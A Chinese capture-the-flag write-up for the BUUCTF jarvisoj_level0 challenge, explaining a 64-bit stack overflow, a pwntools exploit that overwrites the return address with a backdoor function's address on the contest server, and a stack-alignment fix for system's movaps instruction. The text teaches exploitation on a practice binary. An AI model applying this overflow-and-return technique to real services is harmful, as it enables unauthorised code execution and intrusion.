BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
kp000001 天前
Prompt注入攻击(Prompt Injection Attack)
人工智能·安全·网络安全·信息安全·ai安全
祁白_1 天前
sqlmap工具
web安全·网络安全·sql注入·sqlmap
HackTwoHub1 天前
等级保护现场测评系统重磅更新,支持 AI 接入,可录入全品类资产清单,自动化巡检核查,批量导出测评归档文件
运维·人工智能·安全·web安全·网络安全·自动化·系统安全
数据知道1 天前
SDN 与软件定义网络的安全边界在哪里?
网络·安全·网络安全
数据知道1 天前
VLAN 与安全隔离:从配置错误到 VLAN Hopping 攻击
网络·安全·网络安全·智能路由器
Whoami!2 天前
⸢ 拾陆-Ⅰ⸥⤳ 安全数智化建设:安全运营中心(SOC)
网络安全·信息安全·soc·安全运营中心
m0_738120722 天前
AI安全实战系列(六):Lab06 Model Extraction——模型提取攻击
人工智能·安全·网络安全·语言模型·系统安全
vliu6122 天前
如何删除流氓软件
网络安全
菩提小狗2 天前
每日安全情报报告 · 2026-07-16
网络安全·漏洞·cve·安全情报·每日安全
Fnetlink12 天前
2026年SDWAN供应商如何选,从“连通“到“智连“的架构演进
大数据·网络安全